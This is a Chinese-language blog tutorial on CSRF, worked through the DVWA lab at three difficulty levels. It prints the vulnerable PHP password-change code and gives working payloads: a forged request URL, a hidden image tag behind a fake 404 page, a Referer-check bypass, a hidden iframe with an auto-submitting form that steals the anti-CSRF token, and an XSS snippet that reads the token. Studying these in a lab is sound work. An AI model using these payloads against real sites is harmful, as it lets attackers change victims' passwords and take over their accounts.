CSRF产生原理

参考链接:https://www.cnblogs.com/wangyuyu/p/3388169.html
参考链接:https://blog.csdn.net/yaofeino1/article/details/54667698

什么是CSRF?

CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。

有什么用?

你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账……造成的问题包括:个人隐私泄露以及财产安全。

CSRF如何实现?

个人认为关于CSRF的原理应该重新复习一下HTTP中关于cookie的知识点,学习到至今,感觉cookie无处不在。

还是附上那张图

当我们登录一个网站后,于是浏览器中就种下了cookie,保持登录的状态,那此时session的状态是处于登录的。攻击者诱使被攻击者点击攻击链接,因为处于session状态,所以只要构造的攻击链符合同源策略,就能使被攻击者受到攻击。

dvwa-csrf

现在,我们使用dvwa中的csrf来理解此漏洞。

low

使用get方法不安全,仅为实验
观察源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

用户修改密码的时候,其url为:

1
http://192.168.43.40/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

在其保持登录的情况下,我们构造payload为:

1
http://192.168.43.40/dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

当dvwa为登出的情况下,由于此浏览器已经种下该网站的cookie,所以我们构造payload后,被攻击者点击此payload时,发出此攻击http请求时,会带上之前的cookie值,服务器对其认证,通过,于是此次攻击达到目的,修改了密码。

但是这里有一个问题,就是如何诱导用户去点击该链接,因为这个太明显了,所以我们构造一个html页面

1
2
3
4
5
<img src="http://192.168.43.40/dvwa/vulnerabilities/csrf/?password_new=cookie&password_conf=cookie&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

链接为:http://192.168.43.40/hack.html
当用户在登录状态下去访问,密码便会被修改。

medium

观察源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php 

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

代码中:

1
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {

判断referer中是否包含host.
这是用来防御CSRF的发生,判断是不是本站的操作,还是通过恶意网站登录的。
如果是通过http://192.168.43.41/hack.html 跨站登录的,referer就是:http://192.168.43.41/hack.html
,那么host为192.168.43.40,所以此时起到防御跨站伪装的攻击。

然后我们的解决策略就是把hack.html改成192.168.43.40.html,那么攻击页面就是

1
http://192.168.43.41/192.168.43.40.html

high

观察源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这里的启用了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

这里所谓的token就是令牌,关于token和session的差别下次详讲。

每访问一次改密页面时,服务器就返回一个随机的token,这样子我们使用先前的攻击方式就不可以了,因为被攻击者通过攻击链接登录时请求修改密码的token,和他自身登录状态下产生的token不同了

1
heckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

所以我们要想个办法来获取用户在登录状态下的token.

构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<script type="text/javascript">

function attack()

{

document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

document.getElementById("transfer").submit();

}

</script>



<iframe src="http://192.168.43.40/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

</iframe>



<body onload="attack()">

<form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">

<input type="hidden" name="password_new" value="password">

<input type="hidden" name="password_conf" value="password">

<input type="hidden" name="user_token" value="">

<input type="hidden" name="Change" value="Change">

</form>

</body>

但是这样有点问题,就是由于同源策略的存在,假使攻击脚本在192.168.43.41上,框架iframe访问的地址是192.168.43.40/dvwa/vulnerabilities/csrf,同源策略不允许A域名下的页面主动去获取B域名下的页面,这里就涉及到跨域的问题。所以为了绕过这种问题,我们要借助xss漏洞。

由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器192.168.43.40中,才有可能完成攻击。

下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。

1
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

总结

同源策略还有跨域的思维几乎贯穿了整个攻击过程,以及对于HTTP的理解也是相当重要。

0%